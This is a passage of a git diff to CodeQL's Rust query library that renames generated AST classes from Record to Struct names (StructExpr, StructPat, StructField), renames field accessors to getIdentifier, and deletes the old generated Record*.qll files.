+    Stmt getStatement(int index) { stmt_list_statements(this, index, result) }
 
     /**
-     * Gets the visibility of this record field, if it exists.
+     * Gets the tail expression of this statement list, if it exists.
      */
-    Visibility getVisibility() { record_field_visibilities(this, result) }
+    Expr getTailExpr() { stmt_list_tail_exprs(this, result) }
   }
 
   /**
    * INTERNAL: Do not use.
-   * A field in a record pattern. For example `a: 1` in:
+   * A field in a struct expression. For example `a: 1` in:
    * ```rust
-   * let Foo { a: 1, b: 2 } = foo;
+   * Foo { a: 1, b: 2 };
    * ```
    */
-  class RecordPatField extends @record_pat_field, AstNode {
-    override string toString() { result = "RecordPatField" }
+  class StructExprField extends @struct_expr_field, AstNode {
+    override string toString() { result = "StructExprField" }
 
     /**
-     * Gets the `index`th attr of this record pattern field (0-based).
+     * Gets the `index`th attr of this struct expression field (0-based).
      */
-    Attr getAttr(int index) { record_pat_field_attrs(this, index, result) }
+    Attr getAttr(int index) { struct_expr_field_attrs(this, index, result) }
 
     /**
-     * Gets the name reference of this record pattern field, if it exists.
+     * Gets the expression of this struct expression field, if it exists.
      */
-    NameRef getNameRef() { record_pat_field_name_refs(this, result) }
+    Expr getExpr() { struct_expr_field_exprs(this, result) }
 
     /**
-     * Gets the pattern of this record pattern field, if it exists.
+     * Gets the identifier of this struct expression field, if it exists.
      */
-    Pat getPat() { record_pat_field_pats(this, result) }
+    NameRef getIdentifier() { struct_expr_field_identifiers(this, result) }
   }
 
   /**
    * INTERNAL: Do not use.
-   * A RecordPatFieldList. For example:
+   * A StructExprFieldList. For example:
    * ```rust
    * todo!()
    * ```
    */
-  class RecordPatFieldList extends @record_pat_field_list, AstNode {
-    override string toString() { result = "RecordPatFieldList" }
+  class StructExprFieldList extends @struct_expr_field_list, AstNode {
+    override string toString() { result = "StructExprFieldList" }
+
+    /**
+     * Gets the `index`th attr of this struct expression field list (0-based).
+     */
+    Attr getAttr(int index) { struct_expr_field_list_attrs(this, index, result) }
 
     /**
-     * Gets the `index`th field of this record pattern field list (0-based).
+     * Gets the `index`th field of this struct expression field list (0-based).
      */
-    RecordPatField getField(int index) { record_pat_field_list_fields(this, index, result) }
+    StructExprField getField(int index) { struct_expr_field_list_fields(this, index, result) }
 
     /**
-     * Gets the rest pattern of this record pattern field list, if it exists.
+     * Gets the spread of this struct expression field list, if it exists.
      */
-    RestPat getRestPat() { record_pat_field_list_rest_pats(this, result) }
+    Expr getSpread() { struct_expr_field_list_spreads(this, result) }
   }
 
   /**
    * INTERNAL: Do not use.
-   * A Rename. For example:
+   * A StructField. For example:
    * ```rust
    * todo!()
    * ```
    */
-  class Rename extends @rename, AstNode {
-    override string toString() { result = "Rename" }
+  class StructField extends @struct_field, AstNode {
+    override string toString() { result = "StructField" }
 
     /**
-     * Gets the name of this rename, if it exists.
+     * Gets the `index`th attr of this struct field (0-based).
      */
-    Name getName() { rename_names(this, result) }
-  }
+    Attr getAttr(int index) { struct_field_attrs(this, index, result) }
 
-  /**
-   * INTERNAL: Do not use.
-   * One of `PathExpr`, `RecordExpr`, `PathPat`, `RecordPat`, `TupleStructPat` or `MethodCallExpr`.
-   */
-  class Resolvable extends @resolvable, AstNode {
     /**
-     * Gets the resolved path of this resolvable, if it exists.
+     * Gets the default of this struct field, if it exists.
      */
-    string getResolvedPath() { resolvable_resolved_paths(this, result) }
+    Expr getDefault() { struct_field_defaults(this, result) }
 
     /**
-     * Gets the resolved crate origin of this resolvable, if it exists.
+     * Gets the name of this struct field, if it exists.
      */
-    string getResolvedCrateOrigin() { resolvable_resolved_crate_origins(this, result) }
-  }
+    Name getName() { struct_field_names(this, result) }
 
-  /**
-   * INTERNAL: Do not use.
-   * A RetTypeRepr. For example:
-   * ```rust
-   * todo!()
-   * ```
-   */
-  class RetTypeRepr extends @ret_type_repr, AstNode {
-    override string toString() { result = "RetTypeRepr" }
+    /**
+     * Gets the type representation of this struct field, if it exists.
+     */
+    TypeRepr getTypeRepr() { struct_field_type_reprs(this, result) }
 
     /**
-     * Gets the type representation of this ret type representation, if it exists.
+     * Gets the visibility of this struct field, if it exists.
      */
-    TypeRepr getTypeRepr() { ret_type_repr_type_reprs(this, result) }
+    Visibility getVisibility() { struct_field_visibilities(this, result) }
   }
 
   /**
    * INTERNAL: Do not use.
-   * A ReturnTypeSyntax. For example:
+   * A field in a struct pattern. For example `a: 1` in:
    * ```rust
-   * todo!()
+   * let Foo { a: 1, b: 2 } = foo;
    * ```
    */
-  class ReturnTypeSyntax extends @return_type_syntax, AstNode {
-    override string toString() { result = "ReturnTypeSyntax" }
-  }
+  class StructPatField extends @struct_pat_field, AstNode {
+    override string toString() { result = "StructPatField" }
 
-  /**
-   * INTERNAL: Do not use.
-   * A SourceFile. For example:
-   * ```rust
-   * todo!()
-   * ```
-   */
-  class SourceFile extends @source_file, AstNode {
-    override string toString() { result = "SourceFile" }
+    /**
+     * Gets the `index`th attr of this struct pattern field (0-based).
+     */
+    Attr getAttr(int index) { struct_pat_field_attrs(this, index, result) }
 
     /**
-     * Gets the `index`th attr of this source file (0-based).
+     * Gets the identifier of this struct pattern field, if it exists.
      */
-    Attr getAttr(int index) { source_file_attrs(this, index, result) }
+    NameRef getIdentifier() { struct_pat_field_identifiers(this, result) }
 
     /**
-     * Gets the `index`th item of this source file (0-based).
+     * Gets the pattern of this struct pattern field, if it exists.
      */
-    Item getItem(int index) { source_file_items(this, index, result) }
+    Pat getPat() { struct_pat_field_pats(this, result) }
   }
 
   /**
    * INTERNAL: Do not use.
-   * The base class for statements.
-   */
-  class Stmt extends @stmt, AstNode { }
-
-  /**
-   * INTERNAL: Do not use.
-   * A StmtList. For example:
+   * A StructPatFieldList. For example:
    * ```rust
    * todo!()
    * ```
    */
-  class StmtList extends @stmt_list, AstNode {
-    override string toString() { result = "StmtList" }
+  class StructPatFieldList extends @struct_pat_field_list, AstNode {
+    override string toString() { result = "StructPatFieldList" }
 
     /**
-     * Gets the `index`th attr of this statement list (0-based).
+     * Gets the `index`th field of this struct pattern field list (0-based).
      */
-    Attr getAttr(int index) { stmt_list_attrs(this, index, result) }
-
-    /**
-     * Gets the `index`th statement of this statement list (0-based).
-     */
-    Stmt getStatement(int index) { stmt_list_statements(this, index, result) }
+    StructPatField getField(int index) { struct_pat_field_list_fields(this, index, result) }
 
     /**
-     * Gets the tail expression of this statement list, if it exists.
+     * Gets the rest pattern of this struct pattern field list, if it exists.
      */
-    Expr getTailExpr() { stmt_list_tail_exprs(this, result) }
+    RestPat getRestPat() { struct_pat_field_list_rest_pats(this, result) }
   }
 
   /**
@@ -1136,6 +1193,11 @@ module Raw {
     UseTree getUseTree(int index) { use_tree_list_use_trees(this, index, result) }
   }
 
+  /**
+   * INTERNAL: Do not use.
+   */
+  class VariantDef extends @variant_def, AstNode { }
+
   /**
    * INTERNAL: Do not use.
    * A VariantList. For example:
@@ -1406,9 +1468,9 @@ module Raw {
     GenericArgList getGenericArgList() { assoc_type_arg_generic_arg_lists(this, result) }
 
     /**
-     * Gets the name reference of this assoc type argument, if it exists.
+     * Gets the identifier of this assoc type argument, if it exists.
      */
-    NameRef getNameRef() { assoc_type_arg_name_refs(this, result) }
+    NameRef getIdentifier() { assoc_type_arg_identifiers(this, result) }
 
     /**
      * Gets the parameter list of this assoc type argument, if it exists.
@@ -1865,14 +1927,14 @@ module Raw {
     Attr getAttr(int index) { field_expr_attrs(this, index, result) }
 
     /**
-     * Gets the expression of this field expression, if it exists.
+     * Gets the container of this field expression, if it exists.
      */
-    Expr getExpr() { field_expr_exprs(this, result) }
+    Expr getContainer() { field_expr_containers(this, result) }
 
     /**
-     * Gets the name reference of this field expression, if it exists.
+     * Gets the identifier of this field expression, if it exists.
      */
-    NameRef getNameRef() { field_expr_name_refs(this, result) }
+    NameRef getIdentifier() { field_expr_identifiers(this, result) }
   }
 
   /**
@@ -2681,22 +2743,6 @@ module Raw {
     Pat getStart() { range_pat_starts(this, result) }
   }
 
-  /**
-   * INTERNAL: Do not use.
-   * A RecordFieldList. For example:
-   * ```rust
-   * todo!()
-   * ```
-   */
-  class RecordFieldList extends @record_field_list, FieldList {
-    override string toString() { result = "RecordFieldList" }
-
-    /**
-     * Gets the `index`th field of this record field list (0-based).
-     */
-    RecordField getField(int index) { record_field_list_fields(this, index, result) }
-  }
-
   /**
    * INTERNAL: Do not use.
    * A reference expression. For example:
@@ -2904,6 +2950,22 @@ module Raw {
     TypeRepr getTypeRepr() { slice_type_repr_type_reprs(this, result) }
   }
 
+  /**
+   * INTERNAL: Do not use.
+   * A field list of a struct expression. For example:
+   * ```rust
+   * todo!()
+   * ```
+   */
+  class StructFieldList extends @struct_field_list, FieldList {
+    override string toString() { result = "StructFieldList" }
+
+    /**
+     * Gets the `index`th field of this struct field list (0-based).
+     */
+    StructField getField(int index) { struct_field_list_fields(this, index, result) }
+  }
+
   /**
    * INTERNAL: Do not use.
    * A TryExpr. For example:
@@ -3066,7 +3128,7 @@ module Raw {
    * todo!()
    * ```
    */
-  class Variant extends @variant, Addressable {
+  class Variant extends @variant, VariantDef, Addressable {
     override string toString() { result = "Variant" }
 
     /**
@@ -3075,9 +3137,9 @@ module Raw {
     Attr getAttr(int index) { variant_attrs(this, index, result) }
 
     /**
-     * Gets the expression of this variant, if it exists.
+     * Gets the discriminant of this variant, if it exists.
      */
-    Expr getExpr() { variant_exprs(this, result) }
+    Expr getDiscriminant() { variant_discriminants(this, result) }
 
     /**
      * Gets the field list of this variant, if it exists.
@@ -3365,9 +3427,9 @@ module Raw {
     Attr getAttr(int index) { extern_crate_attrs(this, index, result) }
 
     /**
-     * Gets the name reference of this extern crate, if it exists.
+     * Gets the identifier of this extern crate, if it exists.
      */
-    NameRef getNameRef() { extern_crate_name_refs(this, result) }
+    NameRef getIdentifier() { extern_crate_identifiers(this, result) }
 
     /**
      * Gets the rename of this extern crate, if it exists.
@@ -3644,9 +3706,9 @@ module Raw {
     GenericArgList getGenericArgList() { method_call_expr_generic_arg_lists(this, result) }
 
     /**
-     * Gets the name reference of this method call expression, if it exists.
+     * Gets the identifier of this method call expression, if it exists.
      */
-    NameRef getNameRef() { method_call_expr_name_refs(this, result) }
+    NameRef getIdentifier() { method_call_expr_identifiers(this, result) }
 
     /**
      * Gets the receiver of this method call expression, if it exists.
@@ -3723,46 +3785,6 @@ module Raw {
     override string toString() { result = "PathPat" }
   }
 
-  /**
-   * INTERNAL: Do not use.
-   * A record expression. For example:
-   * ```rust
-   * let first = Foo { a: 1, b: 2 };
-   * let second = Foo { a: 2, ..first };
-   * Foo { a: 1, b: 2 }[2] = 10;
-   * Foo { .. } = second;
-   * ```
-   */
-  class RecordExpr extends @record_expr, Expr, PathAstNode {
-    override string toString() { result = "RecordExpr" }
-
-    /**
-     * Gets the record expression field list of this record expression, if it exists.
-     */
-    RecordExprFieldList getRecordExprFieldList() {
-      record_expr_record_expr_field_lists(this, result)
-    }
-  }
-
-  /**
-   * INTERNAL: Do not use.
-   * A record pattern. For example:
-   * ```rust
-   * match x {
-   *     Foo { a: 1, b: 2 } => "ok",
-   *     Foo { .. } => "fail",
-   * }
-   * ```
-   */
-  class RecordPat extends @record_pat, Pat, PathAstNode {
-    override string toString() { result = "RecordPat" }
-
-    /**
-     * Gets the record pattern field list of this record pattern, if it exists.
-     */
-    RecordPatFieldList getRecordPatFieldList() { record_pat_record_pat_field_lists(this, result) }
-  }
-
   /**
    * INTERNAL: Do not use.
    * A Static. For example:
@@ -3821,7 +3843,7 @@ module Raw {
    * todo!()
    * ```
    */
-  class Struct extends @struct, Item {
+  class Struct extends @struct, Item, VariantDef {
     override string toString() { result = "Struct" }
 
     /**
@@ -3832,7 +3854,7 @@ module Raw {
     /**
      * Gets the field list of this struct, if it exists.
      */
-    FieldList getFieldList() { struct_field_lists(this, result) }
+    FieldList getFieldList() { struct_field_lists_(this, result) }
 
     /**
      * Gets the generic parameter list of this struct, if it exists.
@@ -3855,6 +3877,46 @@ module Raw {
     WhereClause getWhereClause() { struct_where_clauses(this, result) }
   }
 
+  /**
+   * INTERNAL: Do not use.
+   * A struct expression. For example:
+   * ```rust
+   * let first = Foo { a: 1, b: 2 };
+   * let second = Foo { a: 2, ..first };
+   * Foo { a: 1, b: 2 }[2] = 10;
+   * Foo { .. } = second;
+   * ```
+   */
+  class StructExpr extends @struct_expr, Expr, PathAstNode {
+    override string toString() { result = "StructExpr" }
+
+    /**
+     * Gets the struct expression field list of this struct expression, if it exists.
+     */
+    StructExprFieldList getStructExprFieldList() {
+      struct_expr_struct_expr_field_lists(this, result)
+    }
+  }
+
+  /**
+   * INTERNAL: Do not use.
+   * A struct pattern. For example:
+   * ```rust
+   * match x {
+   *     Foo { a: 1, b: 2 } => "ok",
+   *     Foo { .. } => "fail",
+   * }
+   * ```
+   */
+  class StructPat extends @struct_pat, Pat, PathAstNode {
+    override string toString() { result = "StructPat" }
+
+    /**
+     * Gets the struct pattern field list of this struct pattern, if it exists.
+     */
+    StructPatFieldList getStructPatFieldList() { struct_pat_struct_pat_field_lists(this, result) }
+  }
+
   /**
    * INTERNAL: Do not use.
    * A Trait. For example:
@@ -3980,9 +4042,14 @@ module Raw {
 
   /**
    * INTERNAL: Do not use.
-   * A TypeAlias. For example:
+   * A type alias. For example:
    * ```rust
-   * todo!()
+   * type Point = (u8, u8);
+   *
+   * trait Trait {
+   *     type Output;
+   * //  ^^^^^^^^^^^
+   * }
    * ```
    */
   class TypeAlias extends @type_alias, AssocItem, ExternItem, Item {
@@ -4036,7 +4103,7 @@ module Raw {
    * todo!()
    * ```
    */
-  class Union extends @union, Item {
+  class Union extends @union, Item, VariantDef {
     override string toString() { result = "Union" }
 
     /**
@@ -4055,9 +4122,9 @@ module Raw {
     Name getName() { union_names(this, result) }
 
     /**
-     * Gets the record field list of this union, if it exists.
+     * Gets the struct field list of this union, if it exists.
      */
-    RecordFieldList getRecordFieldList() { union_record_field_lists(this, result) }
+    StructFieldList getStructFieldList() { union_struct_field_lists(this, result) }
 
     /**
      * Gets the visibility of this union, if it exists.
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RecordExpr.qll
deleted file mode 100644
index b6a0a2ecdd28..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordExpr.qll
+++ /dev/null
@@ -1,47 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the generated definition of `RecordExpr`.
- * INTERNAL: Do not import directly.
- */
-
-private import codeql.rust.elements.internal.generated.Synth
-private import codeql.rust.elements.internal.generated.Raw
-import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl
-import codeql.rust.elements.internal.PathAstNodeImpl::Impl as PathAstNodeImpl
-import codeql.rust.elements.RecordExprFieldList
-
-/**
- * INTERNAL: This module contains the fully generated definition of `RecordExpr` and should not
- * be referenced directly.
- */
-module Generated {
-  /**
-   * A record expression. For example:
-   * ```rust
-   * let first = Foo { a: 1, b: 2 };
-   * let second = Foo { a: 2, ..first };
-   * Foo { a: 1, b: 2 }[2] = 10;
-   * Foo { .. } = second;
-   * ```
-   * INTERNAL: Do not reference the `Generated::RecordExpr` class directly.
-   * Use the subclass `RecordExpr`, where the following predicates are available.
-   */
-  class RecordExpr extends Synth::TRecordExpr, ExprImpl::Expr, PathAstNodeImpl::PathAstNode {
-    override string getAPrimaryQlClass() { result = "RecordExpr" }
-
-    /**
-     * Gets the record expression field list of this record expression, if it exists.
-     */
-    RecordExprFieldList getRecordExprFieldList() {
-      result =
-        Synth::convertRecordExprFieldListFromRaw(Synth::convertRecordExprToRaw(this)
-              .(Raw::RecordExpr)
-              .getRecordExprFieldList())
-    }
-
-    /**
-     * Holds if `getRecordExprFieldList()` exists.
-     */
-    final predicate hasRecordExprFieldList() { exists(this.getRecordExprFieldList()) }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordExprField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RecordExprField.qll
deleted file mode 100644
index ddf9cd248061..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordExprField.qll
+++ /dev/null
@@ -1,80 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the generated definition of `RecordExprField`.
- * INTERNAL: Do not import directly.
- */
-
-private import codeql.rust.elements.internal.generated.Synth
-private import codeql.rust.elements.internal.generated.Raw
-import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
-import codeql.rust.elements.Attr
-import codeql.rust.elements.Expr
-import codeql.rust.elements.NameRef
-
-/**
- * INTERNAL: This module contains the fully generated definition of `RecordExprField` and should not
- * be referenced directly.
- */
-module Generated {
-  /**
-   * A field in a record expression. For example `a: 1` in:
-   * ```rust
-   * Foo { a: 1, b: 2 };
-   * ```
-   * INTERNAL: Do not reference the `Generated::RecordExprField` class directly.
-   * Use the subclass `RecordExprField`, where the following predicates are available.
-   */
-  class RecordExprField extends Synth::TRecordExprField, AstNodeImpl::AstNode {
-    override string getAPrimaryQlClass() { result = "RecordExprField" }
-
-    /**
-     * Gets the `index`th attr of this record expression field (0-based).
-     */
-    Attr getAttr(int index) {
-      result =
-        Synth::convertAttrFromRaw(Synth::convertRecordExprFieldToRaw(this)
-              .(Raw::RecordExprField)
-              .getAttr(index))
-    }
-
-    /**
-     * Gets any of the attrs of this record expression field.
-     */
-    final Attr getAnAttr() { result = this.getAttr(_) }
-
-    /**
-     * Gets the number of attrs of this record expression field.
-     */
-    final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
-
-    /**
-     * Gets the expression of this record expression field, if it exists.
-     */
-    Expr getExpr() {
-      result =
-        Synth::convertExprFromRaw(Synth::convertRecordExprFieldToRaw(this)
-              .(Raw::RecordExprField)
-              .getExpr())
-    }
-
-    /**
-     * Holds if `getExpr()` exists.
-     */
-    final predicate hasExpr() { exists(this.getExpr()) }
-
-    /**
-     * Gets the name reference of this record expression field, if it exists.
-     */
-    NameRef getNameRef() {
-      result =
-        Synth::convertNameRefFromRaw(Synth::convertRecordExprFieldToRaw(this)
-              .(Raw::RecordExprField)
-              .getNameRef())
-    }
-
-    /**
-     * Holds if `getNameRef()` exists.
-     */
-    final predicate hasNameRef() { exists(this.getNameRef()) }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RecordExprFieldList.qll
deleted file mode 100644
index 5f531d8186d1..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordExprFieldList.qll
+++ /dev/null
@@ -1,85 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the generated definition of `RecordExprFieldList`.
- * INTERNAL: Do not import directly.
- */
-
-private import codeql.rust.elements.internal.generated.Synth
-private import codeql.rust.elements.internal.generated.Raw
-import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
-import codeql.rust.elements.Attr
-import codeql.rust.elements.Expr
-import codeql.rust.elements.RecordExprField
-
-/**
- * INTERNAL: This module contains the fully generated definition of `RecordExprFieldList` and should not
- * be referenced directly.
- */
-module Generated {
-  /**
-   * A RecordExprFieldList. For example:
-   * ```rust
-   * todo!()
-   * ```
-   * INTERNAL: Do not reference the `Generated::RecordExprFieldList` class directly.
-   * Use the subclass `RecordExprFieldList`, where the following predicates are available.
-   */
-  class RecordExprFieldList extends Synth::TRecordExprFieldList, AstNodeImpl::AstNode {
-    override string getAPrimaryQlClass() { result = "RecordExprFieldList" }
-
-    /**
-     * Gets the `index`th attr of this record expression field list (0-based).
-     */
-    Attr getAttr(int index) {
-      result =
-        Synth::convertAttrFromRaw(Synth::convertRecordExprFieldListToRaw(this)
-              .(Raw::RecordExprFieldList)
-              .getAttr(index))
-    }
-
-    /**
-     * Gets any of the attrs of this record expression field list.
-     */
-    final Attr getAnAttr() { result = this.getAttr(_) }
-
-    /**
-     * Gets the number of attrs of this record expression field list.
-     */
-    final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
-
-    /**
-     * Gets the `index`th field of this record expression field list (0-based).
-     */
-    RecordExprField getField(int index) {
-      result =
-        Synth::convertRecordExprFieldFromRaw(Synth::convertRecordExprFieldListToRaw(this)
-              .(Raw::RecordExprFieldList)
-              .getField(index))
-    }
-
-    /**
-     * Gets any of the fields of this record expression field list.
-     */
-    final RecordExprField getAField() { result = this.getField(_) }
-
-    /**
-     * Gets the number of fields of this record expression field list.
-     */
-    final int getNumberOfFields() { result = count(int i | exists(this.getField(i))) }
-
-    /**
-     * Gets the spread of this record expression field list, if it exists.
-     */
-    Expr getSpread() {
-      result =
-        Synth::convertExprFromRaw(Synth::convertRecordExprFieldListToRaw(this)
-              .(Raw::RecordExprFieldList)
-              .getSpread())
-    }
-
-    /**
-     * Holds if `getSpread()` exists.
-     */
-    final predicate hasSpread() { exists(this.getSpread()) }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RecordField.qll
deleted file mode 100644
index aa840aafdcdf..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordField.qll
+++ /dev/null
@@ -1,94 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the generated definition of `RecordField`.
- * INTERNAL: Do not import directly.
- */
-
-private import codeql.rust.elements.internal.generated.Synth
-private import codeql.rust.elements.internal.generated.Raw
-import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
-import codeql.rust.elements.Attr
-import codeql.rust.elements.Name
-import codeql.rust.elements.TypeRepr
-import codeql.rust.elements.Visibility
-
-/**
- * INTERNAL: This module contains the fully generated definition of `RecordField` and should not
- * be referenced directly.
- */
-module Generated {
-  /**
-   * A RecordField. For example:
-   * ```rust
-   * todo!()
-   * ```
-   * INTERNAL: Do not reference the `Generated::RecordField` class directly.
-   * Use the subclass `RecordField`, where the following predicates are available.
-   */
-  class RecordField extends Synth::TRecordField, AstNodeImpl::AstNode {
-    override string getAPrimaryQlClass() { result = "RecordField" }
-
-    /**
-     * Gets the `index`th attr of this record field (0-based).
-     */
-    Attr getAttr(int index) {
-      result =
-        Synth::convertAttrFromRaw(Synth::convertRecordFieldToRaw(this)
-              .(Raw::RecordField)
-              .getAttr(index))
-    }
-
-    /**
-     * Gets any of the attrs of this record field.
-     */
-    final Attr getAnAttr() { result = this.getAttr(_) }
-
-    /**
-     * Gets the number of attrs of this record field.
-     */
-    final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
-
-    /**
-     * Gets the name of this record field, if it exists.
-     */
-    Name getName() {
-      result =
-        Synth::convertNameFromRaw(Synth::convertRecordFieldToRaw(this).(Raw::RecordField).getName())
-    }
-
-    /**
-     * Holds if `getName()` exists.
-     */
-    final predicate hasName() { exists(this.getName()) }
-
-    /**
-     * Gets the type representation of this record field, if it exists.
-     */
-    TypeRepr getTypeRepr() {
-      result =
-        Synth::convertTypeReprFromRaw(Synth::convertRecordFieldToRaw(this)
-              .(Raw::RecordField)
-              .getTypeRepr())
-    }
-
-    /**
-     * Holds if `getTypeRepr()` exists.
-     */
-    final predicate hasTypeRepr() { exists(this.getTypeRepr()) }
-
-    /**
-     * Gets the visibility of this record field, if it exists.
-     */
-    Visibility getVisibility() {
-      result =
-        Synth::convertVisibilityFromRaw(Synth::convertRecordFieldToRaw(this)
-              .(Raw::RecordField)
-              .getVisibility())
-    }
-
-    /**
-     * Holds if `getVisibility()` exists.
-     */
-    final predicate hasVisibility() { exists(this.getVisibility()) }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RecordFieldList.qll
deleted file mode 100644
index 2ce5c33093ea..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordFieldList.qll
+++ /dev/null
@@ -1,48 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the generated definition of `RecordFieldList`.
- * INTERNAL: Do not import directly.
- */
-
-private import codeql.rust.elements.internal.generated.Synth
-private import codeql.rust.elements.internal.generated.Raw
-import codeql.rust.elements.internal.FieldListImpl::Impl as FieldListImpl
-import codeql.rust.elements.RecordField
-
-/**
- * INTERNAL: This module contains the fully generated definition of `RecordFieldList` and should not
- * be referenced directly.
- */
-module Generated {
-  /**
-   * A RecordFieldList. For example:
-   * ```rust
-   * todo!()
-   * ```
-   * INTERNAL: Do not reference the `Generated::RecordFieldList` class directly.
-   * Use the subclass `RecordFieldList`, where the following predicates are available.
-   */
-  class RecordFieldList extends Synth::TRecordFieldList, FieldListImpl::FieldList {
-    override string getAPrimaryQlClass() { result = "RecordFieldList" }
-
-    /**
-     * Gets the `index`th field of this record field list (0-based).
-     */
-    RecordField getField(int index) {
-      result =
-        Synth::convertRecordFieldFromRaw(Synth::convertRecordFieldListToRaw(this)
-              .(Raw::RecordFieldList)
-              .getField(index))
-    }
-
-    /**
-     * Gets any of the fields of this record field list.
-     */
-    final RecordField getAField() { result = this.getField(_) }
-
-    /**
-     * Gets the number of fields of this record field list.
-     */
-    final int getNumberOfFields() { result = count(int i | exists(this.getField(i))) }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RecordPat.qll
deleted file mode 100644
index fd215a3056d0..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordPat.qll
+++ /dev/null
@@ -1,47 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the generated definition of `RecordPat`.
- * INTERNAL: Do not import directly.
- */
-
-private import codeql.rust.elements.internal.generated.Synth
-private import codeql.rust.elements.internal.generated.Raw
-import codeql.rust.elements.internal.PatImpl::Impl as PatImpl
-import codeql.rust.elements.internal.PathAstNodeImpl::Impl as PathAstNodeImpl
-import codeql.rust.elements.RecordPatFieldList
-
-/**
- * INTERNAL: This module contains the fully generated definition of `RecordPat` and should not
- * be referenced directly.
- */
-module Generated {
-  /**
-   * A record pattern. For example:
-   * ```rust
-   * match x {
-   *     Foo { a: 1, b: 2 } => "ok",
-   *     Foo { .. } => "fail",
-   * }
-   * ```
-   * INTERNAL: Do not reference the `Generated::RecordPat` class directly.
-   * Use the subclass `RecordPat`, where the following predicates are available.
-   */
-  class RecordPat extends Synth::TRecordPat, PatImpl::Pat, PathAstNodeImpl::PathAstNode {
-    override string getAPrimaryQlClass() { result = "RecordPat" }
-
-    /**
-     * Gets the record pattern field list of this record pattern, if it exists.
-     */
-    RecordPatFieldList getRecordPatFieldList() {
-      result =
-        Synth::convertRecordPatFieldListFromRaw(Synth::convertRecordPatToRaw(this)
-              .(Raw::RecordPat)
-              .getRecordPatFieldList())
-    }
-
-    /**
-     * Holds if `getRecordPatFieldList()` exists.
-     */
-    final predicate hasRecordPatFieldList() { exists(this.getRecordPatFieldList()) }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordPatField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RecordPatField.qll
deleted file mode 100644
index 557862754f26..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordPatField.qll
+++ /dev/null
@@ -1,80 +0,0 @@
-// generated by codegen, do not edit
-/**
- * This module provides the generated definition of `RecordPatField`.
- * INTERNAL: Do not import directly.
- */
-
-private import codeql.rust.elements.internal.generated.Synth
-private import codeql.rust.elements.internal.generated.Raw
-import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl
-import codeql.rust.elements.Attr
-import codeql.rust.elements.NameRef
-import codeql.rust.elements.Pat
-
-/**
- * INTERNAL: This module contains the fully generated definition of `RecordPatField` and should not
- * be referenced directly.
- */
-module Generated {
-  /**
-   * A field in a record pattern. For example `a: 1` in:
-   * ```rust
-   * let Foo { a: 1, b: 2 } = foo;
-   * ```
-   * INTERNAL: Do not reference the `Generated::RecordPatField` class directly.
-   * Use the subclass `RecordPatField`, where the following predicates are available.
-   */
-  class RecordPatField extends Synth::TRecordPatField, AstNodeImpl::AstNode {
-    override string getAPrimaryQlClass() { result = "RecordPatField" }
-
-    /**
-     * Gets the `index`th attr of this record pattern field (0-based).
-     */
-    Attr getAttr(int index) {
-      result =
-        Synth::convertAttrFromRaw(Synth::convertRecordPatFieldToRaw(this)
-              .(Raw::RecordPatField)
-              .getAttr(index))
-    }
-
-    /**
-     * Gets any of the attrs of this record pattern field.
-     */
-    final Attr getAnAttr() { result = this.getAttr(_) }
-
-    /**
-     * Gets the number of attrs of this record pattern field.
-     */
-    final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) }
-
-    /**
-     * Gets the name reference of this record pattern field, if it exists.
-     */
-    NameRef getNameRef() {
-      result =
-        Synth::convertNameRefFromRaw(Synth::convertRecordPatFieldToRaw(this)
-              .(Raw::RecordPatField)
-              .getNameRef())
-    }
-
-    /**
-     * Holds if `getNameRef()` exists.
-     */
-    final predicate hasNameRef() { exists(this.getNameRef()) }
-
-    /**
-     * Gets the pattern of this record pattern field, if it exists.
-     */
-    Pat getPat() {
-      result =
-        Synth::convertPatFromRaw(Synth::convertRecordPatFieldToRaw(this)
-              .(Raw::RecordPatField)
-              .getPat())
-    }
-
-    /**
-     * Holds if `getPat()` exists.
-     */
-    final predicate hasPat() { exists(this.getPat()) }
-  }
-}
diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RecordPatFieldList.qll
deleted file mode 100644
index e7733f22f342..000000000000
--- a/rust/ql/lib/codeql/rust/elements/internal/generated/RecordPatFieldList.qll
+++ /dev/null
@@ -1,64 +0,0 @@
-// generated by codegen, do not edit
-/**
